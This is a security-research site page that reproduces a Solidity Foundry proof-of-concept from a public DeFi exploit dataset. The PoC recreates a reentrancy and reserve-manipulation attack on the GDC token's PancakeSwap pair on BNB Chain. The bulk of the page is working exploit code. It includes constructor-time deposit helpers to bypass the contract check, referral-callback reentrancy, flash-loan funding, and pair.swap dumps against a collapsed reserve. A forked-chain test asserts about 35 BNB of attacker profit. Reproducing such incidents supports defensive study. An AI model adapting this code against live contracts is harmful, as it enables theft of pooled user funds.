Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/GDC_exp.sol

Public reproduction file for dataset entry GDC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/GDC_exp.sol320 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// GDC (GDCToken) - referral reward reentrancy + tax-free direct pair.swap dump, over a burn-collapsed
7// reserve - BNB Chain. Attacker net gain ~35.34 BNB in the single exploit tx.
8//
9// Attack tx : 0xf12ccb683c51cc1c5907d362f3219b3a49a597be1fdfe1fb36bb2361bb3db877 (block 121253214)
10// Attacker EOA : 0xe327b58233DE729D58d35e36E4B6D45c8e00cDbb
11// Exploit (on-chain, contract-creation tx): 0x5fe1deb9d9a58e9424b7fafc77494ff782b7dc14
12// -> deployed an inner orchestrator 0x5fA62a1F...691a which was the Moolah flash-loan
13// borrower AND the choreography hub. This PoC keeps that split conceptually but merges
14// the borrower/hub role into GDCExploit; the two disposable helpers d1 / f95 are
15// reconstructed as GDCHelper instances (matching the real 0xd1dC1F.. and 0xf95B62.. ).
16// GDC token : 0xe3342358e7ccbaebdd1139ad0274c53c5b3ef822 (GDCToken, verified)
17// Pair GDC/WBNB : 0x9cd8d04c30ed78afef7ed00ab1a2a028d476331c (PancakeV2, token0 = WBNB, token1 = GDC)
18// Moolah pool : 0x8f73b65b4caaf64fba2af91cc5d4a2a1318e5d8c (Lista/Morpho-fork; 0% flashLoan(token,assets,data))
19// WBNB : 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
20//
21// ROOT CAUSE - a chain of four GDCToken bugs, each verified against the on-chain source and the attack trace:
22// 1. EOA gate is extcodesize-only. receive()/depositFor reject callers with code, but a helper deposits
23// inside its OWN constructor (extcodesize == 0 at that point), so a contract passes isContract().
24// The deposit sets addLiquidityUnlockTime[helper] > 0 and users[helper].hasDeposited = true.
25// 2. "buy as remove" misclassification. In _update, any transfer FROM the pair to an address that has a
26// deposit record (addLiquidityUnlockTime > 0) is flagged isRemove = true, which skips the
27// BuyingProhibited() revert. So a deposited helper can BUY GDC out of the pair with a raw pair.swap.
28// 3. burn-vs-input mismatch. On a taxed sell, swapSellAward forwards only SELL_USER_PERCENT = 30% of the
29// nominal amount back into the pair, but _burnSellAgainstPair(user, amount) then burns the FULL nominal
30// amount out of the pair's own reserve and calls sync(). The GDC reserve collapses far below the WBNB
31// it is meant to back (down to LP_MIN_BALANCE = 21,000,000e18 in the limit).
32// 4. reentrant tax-free exit. A sell sets swapping = true for its whole body; while swapping == true the
33// "to == uniswapPair" taxed branch of _update is skipped (guarded by if(!swapping)), so a GDC transfer
34// into the pair is a plain untaxed ERC20 move. swapSellAward pays referral rewards mid-body via
35// _sendBNB -> raw address.call{value:}, so an attacker helper registered as the seller's inviter gets a
36// re-entrant callback INSIDE that swapping window and can dump a pre-bought GDC bag straight through
37// pair.swap, tax-free, against the collapsed reserve.
38//
39// Choreography (one Moolah flash loan funds the working capital; two reentrancy windows extract the value):
40// setup) deploy d1 (deposits 0.1 BNB in its ctor -> deposit record + hasDeposited, inviter auto = company)
41// deploy f95 (bindReferrer(d1) then deposits 0.1 BNB -> effectiveReferralCount[d1] = 1, so d1 now
42// qualifies as f95's level-1 referrer and will receive the _sendBNB callback on any f95 sell).
43// window 1) hub buys 221.24M GDC out to f95 (bug 2). f95 sells (bag - 1 GDC): swapSellAward runs with
44// swapping == true and pays d1 the level-1 referral in BNB (bug 4). Inside d1's callback d1
45// spends 365.56 WBNB to buy a 1.63e9 GDC bag out of the pair (bug 2) - this also loads the pair
46// with WBNB. After the sell returns, _burnSellAgainstPair has collapsed the GDC reserve (bug 3);
47// the hub swaps f95's leftover 30% (~66.37M GDC) sitting in the pair for 230.83 WBNB.
48// window 2) f95 sells its last 1 GDC -> another d1 callback -> d1 dumps its whole 1.63e9 bag straight into
49// the pair and swaps out 176.77 WBNB to the hub (bug 4 + the still-collapsed reserve).
50// close) repay the flash loan; net ~35.34 WBNB stays with the attacker.
51//
52// The two windows only net positive TOGETHER: window 1 alone injects 372 WBNB and pulls 230.83 back, and
53// d1's bag cost 365.56 to buy and returns 176.77 - each leg is a loss on its own. The profit is the WBNB
54// backing of the 221.24M GDC that bug 3 burned out of the pair for free, captured across both dumps.
55//
56// Numbers below are reproduced live on a fork of the parent block, not asserted from the trace.
58interface IERC20 {
59 function balanceOf(address) external view returns (uint256);
60 function transfer(address to, uint256 amount) external returns (bool);
61 function approve(address spender, uint256 amount) external returns (bool);
64interface IWBNB is IERC20 {
65 function deposit() external payable;
66 function withdraw(uint256) external;
69interface IGDC is IERC20 {
70 function bindReferrer(address referrer) external;
71 function inviter(address) external view returns (address);
72 function effectiveReferralCount(address) external view returns (uint256);
73 function addLiquidityUnlockTime(address) external view returns (uint256);
76interface IPair {
77 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
78 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
79 function token0() external view returns (address);
82interface IMoolah {
83 function flashLoan(address token, uint256 assets, bytes calldata data) external;
86// PancakeV2 constant-product output, 0.25% fee (numerator 9975 / 10000).
87library AmmMath {
88 function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256) {
89 uint256 amountInWithFee = amountIn * 9975;
90 return (amountInWithFee * reserveOut) / (reserveIn * 10_000 + amountInWithFee);
91 }
94// A disposable per-role helper. Its constructor deposits into GDC while its own code size is still 0
95// (bug 1), which both registers the deposit record that later lets it buy out of the pair (bug 2) and,
96// combined with bindReferrer, wires it into the referral tree so it earns the mid-sell _sendBNB callback.
97contract GDCHelper {
98 address internal immutable owner;
99 IGDC internal immutable gdc;
100 IPair internal immutable pair;
101 IWBNB internal immutable wbnb;
102 address internal immutable hub;
103 bool internal immutable wbnbIsToken0;
105 // 0 = idle (just accept BNB), 1 = buy a GDC bag in the callback, 2 = dump the whole GDC bag in the callback
106 uint8 public action;
108 constructor(IGDC _gdc, IPair _pair, IWBNB _wbnb, address _hub, address referrer, uint256 depositValue) payable {
109 owner = msg.sender;
110 gdc = _gdc;
111 pair = _pair;
112 wbnb = _wbnb;
113 hub = _hub;
114 wbnbIsToken0 = (_pair.token0() == address(_wbnb));
115 if (referrer != address(0)) {
116 _gdc.bindReferrer(referrer);
117 }
118 // Deposit during construction: msg.sender is this contract, whose extcodesize is 0 right now, so
119 // GDCToken.isContract(this) == false and receive() accepts the deposit.
120 (bool ok,) = address(_gdc).call{value: depositValue}("");
121 require(ok, "deposit failed");
122 }
124 modifier onlyOwner() {
125 require(msg.sender == owner, "not owner");
126 _;
127 }
129 function arm(uint8 a) external onlyOwner {
130 action = a;
131 }
133 // Called by the owner when this helper is the seller. from == this so inviter[this] drives the referral,
134 // delivering the _sendBNB callback to whichever helper we registered as this one's referrer.
135 function sell(uint256 amount) external onlyOwner {
136 gdc.transfer(address(pair), amount);
137 }
139 // Straight untaxed dump used to close out any residual bag once the windows are done.
140 function dumpAll() external onlyOwner returns (uint256 out) {
141 out = _dump(hub);
142 }
144 // The re-entrant callback. GDCToken pays referral rewards via a raw call, landing here mid-sell while
145 // swapping == true, so both the buy and the dump below run through the untaxed direct-pair path.
146 receive() external payable {
147 uint8 a = action;
148 if (a == 1) {
149 action = 0;
150 _buyWithHeldWbnb();
151 } else if (a == 2) {
152 action = 0;
153 _dump(hub);
154 }
155 // a == 0: just accept the BNB (deposit-time referral dust etc.)
156 }
158 // Spend the WBNB the hub pre-funded us with to buy a GDC bag straight out of the pair (bug 2). The bag
159 // stays here; the WBNB we push in loads the pair for the later dumps.
160 function _buyWithHeldWbnb() internal {
161 uint256 amountIn = wbnb.balanceOf(address(this));
162 if (amountIn == 0) return;
163 wbnb.transfer(address(pair), amountIn);
164 (uint112 r0, uint112 r1,) = pair.getReserves();
165 (uint256 rWbnb, uint256 rGdc) = wbnbIsToken0 ? (uint256(r0), uint256(r1)) : (uint256(r1), uint256(r0));
166 uint256 gdcOut = AmmMath.getAmountOut(amountIn, rWbnb, rGdc);
167 if (wbnbIsToken0) {
168 pair.swap(0, gdcOut, address(this), "");
169 } else {
170 pair.swap(gdcOut, 0, address(this), "");
171 }
172 }
174 // Dump the entire GDC balance into the pair (untaxed while swapping == true) and swap out WBNB to `to`.
175 function _dump(address to) internal returns (uint256 wbnbOut) {
176 uint256 gdcIn = gdc.balanceOf(address(this));
177 if (gdcIn == 0) return 0;
178 (uint112 r0, uint112 r1,) = pair.getReserves();
179 (uint256 rWbnb, uint256 rGdc) = wbnbIsToken0 ? (uint256(r0), uint256(r1)) : (uint256(r1), uint256(r0));
180 gdc.transfer(address(pair), gdcIn);
181 wbnbOut = AmmMath.getAmountOut(gdcIn, rGdc, rWbnb);
182 if (wbnbIsToken0) {
183 pair.swap(wbnbOut, 0, to, "");
184 } else {
185 pair.swap(0, wbnbOut, to, "");
186 }
187 }
190// Flash-loan borrower and choreography hub (the on-chain 0x5fA62a1F role).
191contract GDCExploit {
192 IGDC internal constant GDC = IGDC(0xE3342358E7CcBAEbDD1139aD0274c53c5b3EF822);
193 IPair internal constant PAIR = IPair(0x9CD8D04C30ED78AfeF7eD00Ab1A2a028d476331C);
194 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
195 IMoolah internal constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
197 // Working capital taken from Moolah (repaid in full, 0 fee). Only ~372 WBNB is actually put to work.
198 uint256 internal constant LOAN = 500 ether;
199 // Attack parameters (the buy sizes the real attacker chose); GDC outputs are computed live.
200 uint256 internal constant F95_BUY_WBNB = 6.5 ether;
201 uint256 internal constant D1_BUY_WBNB = 365.564188762178096308 ether;
202 uint256 internal constant DEPOSIT = 0.1 ether;
204 address internal immutable owner;
205 bool internal wbnbIsToken0;
206 GDCHelper internal d1;
207 GDCHelper internal f95;
209 constructor() {
210 owner = msg.sender;
211 }
213 receive() external payable {}
215 function attack() external {
216 require(msg.sender == owner, "not owner");
217 MOOLAH.flashLoan(address(WBNB), LOAN, "");
218 // Everything the flash loan does happens in onMoolahFlashLoan; forward the profit out.
219 uint256 bal = WBNB.balanceOf(address(this));
220 WBNB.withdraw(bal);
221 payable(owner).transfer(address(this).balance);
222 }
224 function onMoolahFlashLoan(uint256 assets, bytes calldata) external {
225 require(msg.sender == address(MOOLAH), "not moolah");
226 wbnbIsToken0 = (PAIR.token0() == address(WBNB));
228 // Native BNB to fund the two 0.1 BNB constructor deposits.
229 WBNB.withdraw(2 * DEPOSIT);
231 // Helper d1: deposits (bug 1) -> deposit record + hasDeposited; inviter auto-binds to company.
232 d1 = new GDCHelper{value: DEPOSIT}(GDC, PAIR, WBNB, address(this), address(0), DEPOSIT);
233 // Helper f95: binds d1 as referrer, then deposits -> effectiveReferralCount[d1] becomes 1, so a
234 // later f95 sell pays d1 the level-1 referral and re-enters d1 (bug 4).
235 f95 = new GDCHelper{value: DEPOSIT}(GDC, PAIR, WBNB, address(this), address(d1), DEPOSIT);
237 // --- WINDOW 1 -------------------------------------------------------------------------------------
238 // Buy a 221.24M GDC bag straight out of the pair to f95 (bug 2: pair -> f95 is flagged isRemove).
239 uint256 f95Bag = _buyTo(address(f95), F95_BUY_WBNB);
241 // Fund d1 with the WBNB it will spend inside its callback, and arm it to buy.
242 WBNB.transfer(address(d1), D1_BUY_WBNB);
243 d1.arm(1);
245 // f95 sells almost the whole bag (keeps 1 GDC for the second trigger). This runs swapSellAward with
246 // swapping == true: d1's callback fires and buys its 1.63e9 bag; then _burnSellAgainstPair collapses
247 // the GDC reserve, and f95's untaxed 30% remainder is left sitting in the pair.
248 f95.sell(f95Bag - 1 ether);
250 // Sweep f95's leftover 30% (now excess GDC balance in the pair) for WBNB at the collapsed reserve.
251 _sweepPairExcess();
253 // --- WINDOW 2 -------------------------------------------------------------------------------------
254 // Arm d1 to dump, then trigger with f95's last 1 GDC. d1 dumps its whole 1.63e9 bag tax-free into the
255 // still-collapsed pair and swaps the WBNB out to this hub.
256 d1.arm(2);
257 f95.sell(1 ether);
259 // Belt-and-suspenders: if any GDC bag remained on d1, close it out (no-op when already dumped).
260 if (GDC.balanceOf(address(d1)) > 0) {
261 d1.dumpAll();
262 }
264 // Repay the flash loan (Moolah pulls via transferFrom).
265 WBNB.approve(address(MOOLAH), assets);
266 }
268 // Buy GDC out of the pair to `to`, pushing `wbnbIn` WBNB in first. Works because `to` has a deposit
269 // record so the pair -> `to` transfer is misclassified as a liquidity removal instead of a buy.
270 function _buyTo(address to, uint256 wbnbIn) internal returns (uint256 gdcOut) {
271 WBNB.transfer(address(PAIR), wbnbIn);
272 (uint112 r0, uint112 r1,) = PAIR.getReserves();
273 (uint256 rWbnb, uint256 rGdc) = wbnbIsToken0 ? (uint256(r0), uint256(r1)) : (uint256(r1), uint256(r0));
274 gdcOut = AmmMath.getAmountOut(wbnbIn, rWbnb, rGdc);
275 if (wbnbIsToken0) {
276 PAIR.swap(0, gdcOut, to, "");
277 } else {
278 PAIR.swap(gdcOut, 0, to, "");
279 }
280 }
282 // After a collapsing sell, the seller's untaxed 30% remainder is extra GDC sitting in the pair above its
283 // recorded reserve. Swap exactly that excess out for WBNB.
284 function _sweepPairExcess() internal {
285 (uint112 r0, uint112 r1,) = PAIR.getReserves();
286 (uint256 rWbnb, uint256 rGdc) = wbnbIsToken0 ? (uint256(r0), uint256(r1)) : (uint256(r1), uint256(r0));
287 uint256 gdcBal = GDC.balanceOf(address(PAIR));
288 if (gdcBal <= rGdc) return;
289 uint256 excess = gdcBal - rGdc;
290 uint256 wbnbOut = AmmMath.getAmountOut(excess, rGdc, rWbnb);
291 if (wbnbIsToken0) {
292 PAIR.swap(wbnbOut, 0, address(this), "");
293 } else {
294 PAIR.swap(0, wbnbOut, address(this), "");
295 }
296 }
299contract GDC_exp is Test {
300 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
301 address internal constant ATTACKER = 0xe327b58233DE729D58d35e36E4B6D45c8e00cDbb;
303 function setUp() public {
304 vm.createSelectFork("bsc", 121_253_213); // parent block of the exploit tx (121253214)
305 }
307 function testExploit() public {
308 vm.startPrank(ATTACKER, ATTACKER);
309 uint256 balBefore = ATTACKER.balance;
311 GDCExploit exploit = new GDCExploit();
312 exploit.attack();
314 uint256 profit = ATTACKER.balance - balBefore;
315 vm.stopPrank();
317 emit log_named_decimal_uint("attacker BNB profit", profit, 18);
318 assertApproxEqRel(profit, 35.337151495976986490 ether, 0.03e18, "profit off expected ~35.34 BNB");
319 }

Analysis

Dataset entry

Public Foundry test for “GDC” (2026-09-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe327b58233de729d58d35e36e4b6d45c8e00cdbb

  • Attack Tx

    0xf12ccb683c51cc1c5907d362f3219b3a49a597be1fdfe1fb36bb2361bb3db877

File record

Name
GDC
Path
src/test/2026-09/GDC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b24a7ffad2934e86cae9ec0b7c77659df27aef20
Language
Solidity
Size
321 lines
Date
2026-09-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/GDC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b24a7ffad2934e86cae9ec0b7c77659df27aef20, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.